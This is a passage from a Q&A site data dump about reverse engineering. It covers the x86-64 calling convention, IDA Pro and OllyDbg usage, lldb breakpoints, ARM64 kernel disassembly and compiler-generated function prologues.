-20(%rbp), %edx&#xA;    addl    %eax, %edx&#xA;    movl    -28(%rbp), %eax&#xA;    addl    %edx, %eax&#xA;    movl    %eax, -4(%rbp)&#xA;    movl    -4(%rbp), %ecx&#xA;    movl    $1431655766, %edx&#xA;    movl    %ecx, %eax&#xA;    imull   %edx&#xA;    movl    %ecx, %eax&#xA;    sarl    $31, %eax&#xA;    movl    %edx, %ecx&#xA;    subl    %eax, %ecx&#xA;    movl    %ecx, %eax&#xA;    movl    %eax, -4(%rbp)&#xA;    movl    $.LC1, %edi&#xA;    call    puts&#xA;    movl    -4(%rbp), %eax&#xA;    leave&#xA;    .cfi_def_cfa 7, 8&#xA;    ret&#xA;    .cfi_endproc&#xA;.LFE1:&#xA;    .size   media, .-media&#xA;    .section    .rodata&#xA;.LC2:&#xA;    .string &quot;\nCalling sum function&quot;&#xA;    .align 8&#xA;.LC3:&#xA;    .string &quot;\nWaiting a keypress to call media function&quot;&#xA;.LC4:&#xA;    .string &quot;%c&quot;&#xA;.LC5:&#xA;    .string &quot;\nWaiting a keypress to end&quot;&#xA;    .text&#xA;    .globl  main&#xA;    .type   main, @function&#xA;main:&#xA;.LFB2:&#xA;    .cfi_startproc&#xA;    pushq   %rbp&#xA;    .cfi_def_cfa_offset 16&#xA;    .cfi_offset 6, -16&#xA;    movq    %rsp, %rbp&#xA;    .cfi_def_cfa_register 6&#xA;    subq    $16, %rsp&#xA;    movl    $5, -4(%rbp)&#xA;    movl    $10, -8(%rbp)&#xA;    movl    $15, -12(%rbp)&#xA;    movl    $.LC2, %edi&#xA;    call    puts&#xA;    movl    -12(%rbp), %edx&#xA;    movl    -8(%rbp), %ecx&#xA;    movl    -4(%rbp), %eax&#xA;    movl    %ecx, %esi&#xA;    movl    %eax, %edi&#xA;    call    sum&#xA;    movl    $.LC3, %edi&#xA;    call    puts&#xA;    leaq    -13(%rbp), %rax&#xA;    movq    %rax, %rsi&#xA;    movl    $.LC4, %edi&#xA;    movl    $0, %eax&#xA;    call    __isoc99_scanf&#xA;    movl    -12(%rbp), %edx&#xA;    movl    -8(%rbp), %ecx&#xA;    movl    -4(%rbp), %eax&#xA;    movl    %ecx, %esi&#xA;    movl    %eax, %edi&#xA;    call    media&#xA;    movl    $.LC5, %edi&#xA;    call    puts&#xA;    leaq    -13(%rbp), %rax&#xA;    movq    %rax, %rsi&#xA;    movl    $.LC4, %edi&#xA;    movl    $0, %eax&#xA;    call    __isoc99_scanf&#xA;    movl    $0, %eax&#xA;    leave&#xA;    .cfi_def_cfa 7, 8&#xA;    ret&#xA;    .cfi_endproc&#xA;.LFE2:&#xA;    .size   main, .-main&#xA;    .ident  &quot;GCC: (Debian 4.7.2-5) 4.7.2&quot;&#xA;    .section    .note.GNU-stack,&quot;&quot;,@progbits&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Of course, I'm missing something because I just saw  two &lt;code&gt;pushq&lt;/code&gt; instructions. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is what am I missing?&lt;/p&gt;&#xA;" OwnerUserId="13458" LastEditorUserId="53" LastEditDate="2015-09-03T21:31:49.520" LastActivityDate="2015-09-05T15:53:13.710" Title="Without push instructions" Tags="|assembly|gcc|amd64|" AnswerCount="3" CommentCount="1" ClosedDate="2015-09-07T10:41:57.307" ContentLicense="CC BY-SA 3.0" />
  <row Id="10790" PostTypeId="2" ParentId="10789" CreationDate="2015-09-03T17:29:02.507" Score="6" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;if I pass an argument to an function it should be translated in&#xA;  assembly language into push something&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;That's true for some 32-bit calling conventions, but your program is a 64-bit program and thus follows the &lt;a href=&quot;http://x86-64.org/documentation/abi.pdf&quot;&gt;System V Application Binary Interface for AMD64&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From &lt;a href=&quot;https://en.wikipedia.org/wiki/X86_calling_conventions#System_V_AMD64_ABI&quot;&gt;https://en.wikipedia.org/wiki/X86_calling_conventions#System_V_AMD64_ABI&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The calling convention of the System V AMD64 ABI is followed on&#xA;  Solaris, Linux, FreeBSD, Mac OS X, and other UNIX-like or&#xA;  POSIX-compliant operating systems. &lt;strong&gt;&lt;em&gt;The first six integer or pointer&#xA;  arguments are passed in registers&lt;/em&gt;&lt;/strong&gt; RDI, RSI, RDX, RCX, R8, and R9,&#xA;  while XMM0, XMM1, XMM2, XMM3, XMM4, XMM5, XMM6 and XMM7 are used for&#xA;  floating point arguments. For system calls, R10 is used instead of&#xA;  RCX.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2015-09-03T17:29:02.507" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10791" PostTypeId="2" ParentId="10789" CreationDate="2015-09-03T19:12:27.463" Score="0" Body="&lt;p&gt;-I think you must read more about passing parameters using x86-64 and x32 modes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;-As @jason Geffner has said, injecting aguments via 32 bits is performed by stacking em up, while via 64 bits, is different, they are stored in regisers (notably rsi,rdi)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;-This &lt;a href=&quot;https://stackoverflow.com/questions/28601414/calling-c-function-from-x64-assembly-with-registers-instead-of-stack&quot;&gt;link&lt;/a&gt; illustrates more the mechanism of printf arguments introducing in 64 bit processors.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;More samples about printf command usage in:&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.csee.umbc.edu/portal/help/nasm/sample_64.shtml&quot; rel=&quot;nofollow noreferrer&quot;&gt;X86-64 processing&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.csee.umbc.edu/portal/help/nasm/sample.shtml&quot; rel=&quot;nofollow noreferrer&quot;&gt;x32 and below&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="12383" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:19.663" LastActivityDate="2015-09-03T19:20:19.293" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10792" PostTypeId="1" CreationDate="2015-09-04T06:39:30.983" Score="1" ViewCount="2791" Body="&lt;p&gt;I extracted Samsung Galaxy S6 kernel image from its stock boot.img. The result is a raw code kernel image. I load into IDA 6.8 (64-bit) using &lt;code&gt;ROM Start: 0xffffffc000205000 size:0x18C020000, load address:0xffffffc000205000 size:0x18C020000&lt;/code&gt; which is the address of &lt;code&gt;_text/_stext&lt;/code&gt; inside it's kallsyms, it does not disassemble correctly and recognise nearly everything as data. On the other hand, using the _text/stext function for a 32-bit ARM Note 4 kernel image at &lt;code&gt;0xC0008000&lt;/code&gt; works perfectly. Does any one have any idea how to disassemble ARM64 android image correctly? Any advice is appreciated. Thanks.&lt;/p&gt;&#xA;" OwnerUserId="3106" LastActivityDate="2016-08-22T14:01:23.927" Title="Android ARM64 kernel disassembly IDA pro64" Tags="|arm|android|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10793" PostTypeId="1" CreationDate="2015-09-04T06:41:59.220" Score="5" ViewCount="7651" Body="&lt;p&gt;i am a complete beginner with IDA and I have just tried to follow a tutorial on how to unpack UPX. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the tutorial IDA looks like this: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/YU5jN.jpg&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/YU5jN.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I try to get the graphical view like in the tutorial an error message appears:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/QRmr2.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/QRmr2.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I cannot find the Names window too, please help me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is how IDA Pro looks like at the moment:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;https://i.stack.imgur.com/cWAQa.png&quot; rel=&quot;noreferrer&quot;&gt;https://i.stack.imgur.com/cWAQa.png&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Version: IDA Pro 6.5&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sorry for those noob questions, but I am confused.&lt;/p&gt;&#xA;" OwnerUserId="13459" LastEditorUserId="4154" LastEditDate="2015-09-04T07:48:16.337" LastActivityDate="2018-07-09T19:53:01.717" Title="IDA Pro failed to display the program in graph mode" Tags="|ida|unpacking|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10794" PostTypeId="2" ParentId="10793" CreationDate="2015-09-04T07:12:10.540" Score="5" Body="&lt;p&gt;IDA can only display functions in graphical mode if they have a well-defined start and end address. Normally, the start and end address are determined from the disassembly - the start address is the target address of &lt;code&gt;call&lt;/code&gt; instructions, the end address is where the code has a &lt;code&gt;ret&lt;/code&gt; instruction (*).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In your case, IDA failed to make a function from your code, probably because there is no call to &lt;code&gt;start&lt;/code&gt;, and maybe there's not even a &lt;code&gt;ret&lt;/code&gt; at the end. You can try to fix that by moving the cursor to the &lt;code&gt;start&lt;/code&gt; label and pressing the &lt;code&gt;P&lt;/code&gt; key. Once your code is defined as a function, the space key should switch between graphical view and assembly view just like your tutorial says.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(*) Actually, it's a bit more complicated; some parts of the function may be behind the &lt;code&gt;ret&lt;/code&gt;; but IDA detects this from jumps within the function.&lt;/p&gt;&#xA;" OwnerUserId="4154" LastActivityDate="2015-09-04T07:12:10.540" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10796" PostTypeId="1" CreationDate="2015-09-04T09:24:45.680" Score="1" ViewCount="1570" Body="&lt;p&gt;I'm interested in vulnerability research and I want to get started in reading the book mentioned in the title.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But the thing is that while I'm fairly confident in Python and PHP, I absolutely have no knowledge in low level programming in any low level languages. I was told that I need to have solid knowledge of assembly and C before even saying 'I'm starting learning reversing today'.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Speaking of that, what knowledge in programming or in computer science do I need before starting learning with the book?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="13464" LastActivityDate="2015-09-04T21:25:15.957" Title="What knowledge do I need to read &quot;The IDA Pro Book&quot;?" Tags="|assembly|c|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10797" PostTypeId="2" ParentId="10792" CreationDate="2015-09-04T10:16:52.240" Score="1" Body="&lt;p&gt;I needed to set the segment bitness to 64-bit. It then disassembled correctly.&lt;/p&gt;&#xA;" OwnerUserId="3106" LastEditorUserId="60" LastEditDate="2016-07-23T13:04:06.650" LastActivityDate="2016-07-23T13:04:06.650" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10801" PostTypeId="2" ParentId="6719" CreationDate="2015-09-04T16:43:04.693" Score="2" Body="&lt;p&gt;Try this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;(lldb) break set -n main&#xA;(lldb) r&#xA;(lldb) thread backtrace&#xA;&#xA;frame #0: 0x0000000000405696 app`main(argc=1, argv=...) + 22 at app.cpp:11&#xA;frame #1: 0x00007ffff7216ec5 libc.so.6`__libc_start_main + 245&#xA;frame #2: 0x0000000000401f79 app&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The frame below (before) main is the one you want, and it's showing the library and function name.  You can set a breakpoint on it just like any other:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;(lldb) break set -n __libc_start_main&#xA;Breakpoint 1: where = libc.so.6`__libc_start_main, address = 0x00007ffff7216dd0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or, to be more specific:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;(lldb) break set -s libc.so.6 -n __libc_start_main&#xA;Breakpoint 2: where = libc.so.6`__libc_start_main, address = 0x00007ffff7216dd0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you know the address, you could use it directly:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;(lldb) break set -a 0x000000...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then restart the process, and you should hit it immediately:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;(lldb) r&#xA;There is a running process, kill it and restart?: [Y/n] y&#xA;...&#xA;* thread #1: ...__libc_start_main, name = 'app', stop reason = breakpoint&#xA;frame #0: 0x00007ffff7216dd0 libc.so.6`__libc_start_main&#xA;-&amp;gt; ...: pushq  %r14&#xA;(lldb)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="13469" LastActivityDate="2015-09-04T16:43:04.693" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10802" PostTypeId="2" ParentId="8614" CreationDate="2015-09-04T16:48:44.977" Score="1" Body="&lt;p&gt;I have encountered this issue too. In my opinion, it may mean the debuggee applies some anti-debugging measures, BUT it must NOT mean that.&#xA;For evidence, I've tested it with some PEs that cannot contain any anti debugging measures. I used Olly v2, and in settings I made Olly to stop on System breakpoint when starting/attaching applications. If you know the book Practical Malware Analysis (PMA), I've loaded Labs 20-01, 7-2 (just randomly) and set hardware breakpoints on entry point and some other locations. And I had the same issues - the breakpoints have been modified to zero.&lt;/p&gt;&#xA;" OwnerUserId="12670" LastActivityDate="2015-09-04T16:48:44.977" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10803" PostTypeId="1" AcceptedAnswerId="10809" CreationDate="2015-09-04T20:20:11.197" Score="-3" ViewCount="1856" Body="&lt;p&gt;I'm trying to get a sense of the amount of time it takes to RE something, but I'm going to try to make this question as least subjective as possible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Imagine a very simple application that has only 100,000 lines of disassembly. Maybe it's a game like flappy bird, draws things to screen, a little physics, gets input, game mechanics, etc. Now imagine this in x86 disassembly with with highest optimization used, no debug symbols. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For a reverse engineer who is moderately skilled, what is an estimate on the time it might take such an engineer to go through the assembly and understand how the app works.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;edit: To add more constraint, what I mean by &quot;understand how the app works&quot;, I mean, know it well enough to create a near replica of the application using mostly the same implementation details. Flappy bird is a bad example because you can play it and you already have an idea of what it does. Pretend you don't know how it works.&lt;/p&gt;&#xA;" OwnerUserId="13443" LastEditorUserId="13443" LastEditDate="2015-09-04T20:58:28.230" LastActivityDate="2019-02-06T22:33:18.977" Title="How much time would it take to reverse engineer 100,000 lines of disassembly?" Tags="|disassembly|x86|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="10805" PostTypeId="2" ParentId="10796" CreationDate="2015-09-04T21:25:15.957" Score="4" Body="&lt;p&gt;The IDA Pro book is all about IDA usage. There are some tips about disassembly in the book, usefull to help progress in reversing but it's absolutely not a book to learn assembly language or reverse engineering.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think you have to learn almost the basics of assembly language and the basics of the environment in wich you plan to research vulnerabilities. For example if your target is Windows and Intel, Windows SDK and probably C language. Although you have to learn the processor architecture because for example with x86, the processor instruction set is just a little part of what the processor offers to developpers and you have to understand the IA32 or IA64 architecture (memory management, protection, interrupts &amp;amp; exceptions, task management, etc). See the system programming guides there : &lt;a href=&quot;http://www.intel.com/content/www/us/en/processors/architectures-software-developer-manuals.html&quot; rel=&quot;nofollow&quot;&gt;http://www.intel.com/content/www/us/en/processors/architectures-software-developer-manuals.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It will be more productive to read books like &quot;Assembly Language for x86 Processors&quot; to learn assembly language, and books like &quot;Reversing: Secrets of Reverse Engineering&quot; or &quot;Practical Reverse Engineering&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try also to write some simple assembly language programs to understand instruction set and how program flow control is implemented in assembly language (loops, conditions, etc).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Although it's not about vulnerability research, consider reading &quot;Practical Malware Analysis&quot; book first. It can help you like parts 2 and 3 are very valuable to learn how to analyze and understand a windows binary. Note that chapter 5 is a little IDA Pro book ! This book is very well written.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's a long but interesting journey !&lt;/p&gt;&#xA;" OwnerUserId="13454" LastActivityDate="2015-09-04T21:25:15.957" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10809" PostTypeId="2" ParentId="10803" CreationDate="2015-09-05T14:09:12.523" Score="4" Body="&lt;p&gt;The amount of time needed to understand assembly code does not grow linear. For example: You can understand a simple function with 10 lines of assembly relatively quickly (lets say 4-5 minutes). As the code grows the more complex it is to understand the code: You need to catch how different functions work together, so the equation does not result in 8-10 minutes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As L. Resnik made clear the amount of time vastly depends on the complexity of the code, but this is roughly the same for every standard application I would say. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Understanding 100,000 lines of C code takes several weeks (Guess! I did never try to understand 100,000 lines of C code before), depending on the time you're actually working. With this basis I guess it takes several months with smart analysis. Of course &quot;several&quot; is wide-ranged, but I do not think you could answer anything more precise.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Feel free to add something, as these are just my first thoughts.&lt;/p&gt;&#xA;" OwnerUserId="13477" LastActivityDate="2015-09-05T14:09:12.523" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10810" PostTypeId="2" ParentId="10789" CreationDate="2015-09-05T15:53:13.710" Score="1" Body="&lt;p&gt;If you want assembly code without the use of push instruction from a C code, there is always the C prototype #inline.&lt;/p&gt;&#xA;" OwnerUserId="12145" LastActivityDate="2015-09-05T15:53:13.710" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10813" PostTypeId="1" AcceptedAnswerId="10814" CreationDate="2015-09-06T18:29:17.087" Score="1" ViewCount="881" Body="&lt;p&gt;I have an address (eg. 00423D8C) and I would like to know how to make a search on the &lt;code&gt;main thread&lt;/code&gt; like this : &lt;code&gt;PUSH 00423D8C&lt;/code&gt; (and so is it is possible).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is an example of what I would like to get if I can do this search.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/HTfMc.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/HTfMc.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="13483" LastActivityDate="2015-09-06T18:54:27.630" Title="Search via push address in OllyDbg" Tags="|ollydbg|debugging|" AnswerCount="1" CommentCount="1" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10814" PostTypeId="2" ParentId="10813" CreationDate="2015-09-06T18:54:27.630" Score="3" Body="&lt;p&gt;Right click on disasm -&gt; Search for -&gt; All commands:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/3bNYs.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/3bNYs.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You put the command to search for (you can also use wildcards):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/EdmuA.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/EdmuA.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And you get a list of results:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/FzZjp.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/FzZjp.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Double-click on any result and it'll take you to that address in disasm view.&lt;/p&gt;&#xA;" OwnerUserId="4750" LastActivityDate="2015-09-06T18:54:27.630" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10815" PostTypeId="1" CreationDate="2015-09-07T20:17:37.803" Score="1" ViewCount="527" Body="&lt;p&gt;Does anyone know of a program that will display the TIB/PEB contents of a PE. I wrote a program that will read and display the TEB/PEB but I think some of the returned data is wrong.&lt;/p&gt;&#xA;" OwnerUserId="11544" LastActivityDate="2015-09-07T20:17:37.803" Title="Reading contents of TIB/PEB" Tags="|pe|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10816" PostTypeId="1" AcceptedAnswerId="10818" CreationDate="2015-09-07T21:28:09.397" Score="1" ViewCount="1682" Body="&lt;p&gt;How can I remove the CTRL and + keypad whenever I am debugging PE file in IDA?&#xA;All of the disassembled codes are wrapped up whenever I debug a PE file and I see the message CTRL and + keypad to collapse the code. How can I remove that mode so I have all the code collapsed down while debugging in the first place?&lt;/p&gt;&#xA;" OwnerUserId="11621" LastActivityDate="2015-09-08T12:58:16.057" Title="IDA pro CTRL and + keypad whenever debugging" Tags="|ida|idapython|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10817" PostTypeId="2" ParentId="10733" CreationDate="2015-09-08T06:30:10.930" Score="0" Body="&lt;p&gt;You must set hardware breakpoint on execute in that address:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;first find your tracing routine and flow in dump:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/tLlLn.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/tLlLn.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;then create hwbp:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/IOdU6.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/IOdU6.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;set on execute on the first byte of this routine :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/chSPl.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/chSPl.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;now when call to this function ollydbg show the call:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Svt4C.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Svt4C.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt; &lt;/p&gt;&#xA;" OwnerUserId="13493" LastActivityDate="2015-09-08T06:30:10.930" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10818" PostTypeId="2" ParentId="10816" CreationDate="2015-09-08T12:58:16.057" Score="3" Body="&lt;p&gt;In the &lt;em&gt;Browser&lt;/em&gt; tab of IDA's &lt;em&gt;Options&lt;/em&gt; window, check &lt;em&gt;Unhide collapsed items automatically when jumping to them&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/wi3bE.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/wi3bE.png&quot; alt=&quot;IDA Options&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From IDA's help file:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;If this option is set on, IDA will automatically uncollapse hidden&#xA;  functions if the user decides to jump to them. As soon as the user&#xA;  quits the function by pressing Esc, the function is automatically&#xA;  collapsed again.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2015-09-08T12:58:16.057" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10819" PostTypeId="1" CreationDate="2015-09-08T20:42:07.490" Score="1" ViewCount="436" Body="&lt;p&gt;I'm able to see the packets before they're encrypted by setting a breakpoint before the encryption subroutine. My problem is that this subroutine is really complicated and goes really deep. Which steps should I follow in order to obtain this encryption function? Or rather to be able to decrypt this packet protocol?&lt;/p&gt;&#xA;" OwnerUserId="13325" LastEditorUserId="53" LastEditDate="2015-12-16T17:07:25.277" LastActivityDate="2015-12-16T17:07:25.277" Title="How should I approach decrypting packet protocols?" Tags="|ida|packet|" AnswerCount="0" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="10820" PostTypeId="1" AcceptedAnswerId="10821" CreationDate="2015-09-09T04:47:06.797" Score="1" ViewCount="680" Body="&lt;p&gt;In order to be able to effectively reverse assembly one needs to understand how different compilers work, and what are the common code generation patterns. If you do not know them, you spent much more time figuring out something that is simply an artifact of compiler code generation. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Given the above, I'd like to understand meaning of the following code. It's from &lt;a href=&quot;https://github.com/richgel999/lzham_codec&quot; rel=&quot;nofollow noreferrer&quot;&gt;lzham_codec&lt;/a&gt; library but as you will see in a moment it's not specific to it. I clone this git repo and then I compile the code with VS2015. I set a breakpoint to &lt;a href=&quot;https://github.com/richgel999/lzham_codec/blob/master/lzhamdll/lzham_api.cpp#L9&quot; rel=&quot;nofollow noreferrer&quot;&gt;lzham_codec\lzhamdll\lzham_api.cpp&lt;/a&gt; (line 9)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then I run lzhamtest and the breakpoint hits. I open the Disassembly window, and here is what I see:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/RZal7.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/RZal7.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is an awful lot of code for a function that simply returns a constant. What is all this code for?&lt;/p&gt;&#xA;" OwnerUserId="13508" LastActivityDate="2015-09-09T06:27:09.297" Title="What is all this code for?" Tags="|assembly|c++|compilers|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10821" PostTypeId="2" ParentId="10820" CreationDate="2015-09-09T05:24:41.717" Score="2" Body="&lt;p&gt;I'll assume you have a general understanding of the x86 processor architecture, registers, and how the stack works. If you don't, there are a lot of introductions, tutorials, and books out there, which explain things much better than I could in this post.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The first 2 and last 3 instructions are standard function entry/exit code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;push ebp&#xA;mov ebp, esp&#xA;....&#xA;mov esp, ebp&#xA;pop ebp&#xA;ret&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;they set up the stack for the function, resp. undo this and return to the caller.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sub esp, 0C0h&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;makes space for 192 (0xC0) bytes of local variables on the stack.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;push&lt;/code&gt; and &lt;code&gt;pop&lt;/code&gt; instructions save registers to the stack that get clobbered by the function, and restore them afterwards:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;push ebx&#xA;push esi&#xA;push edi&#xA;...&#xA;pop edi&#xA;pop esi&#xA;pop ebx&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note that &lt;code&gt;ebx&lt;/code&gt; and &lt;code&gt;esi&lt;/code&gt; aren't even touched by the rest of the code. But it seems you compiled without optimizations; the abi states that these registers shouldn't be changed by procedures, so the compiler saves them, and without optimizations, it doesn't realize it doesn't need them later and doesn't remove the &lt;code&gt;push? /&lt;/code&gt;pop` from the code.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;lea edi, [ebp-0C0h]&#xA;mov ecx, 30h&#xA;mov eax, 0cccccccch&#xA;rep stos dword ptr es:[edi]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This fills all local variables with &lt;code&gt;0xCCCCCCCC&lt;/code&gt;, 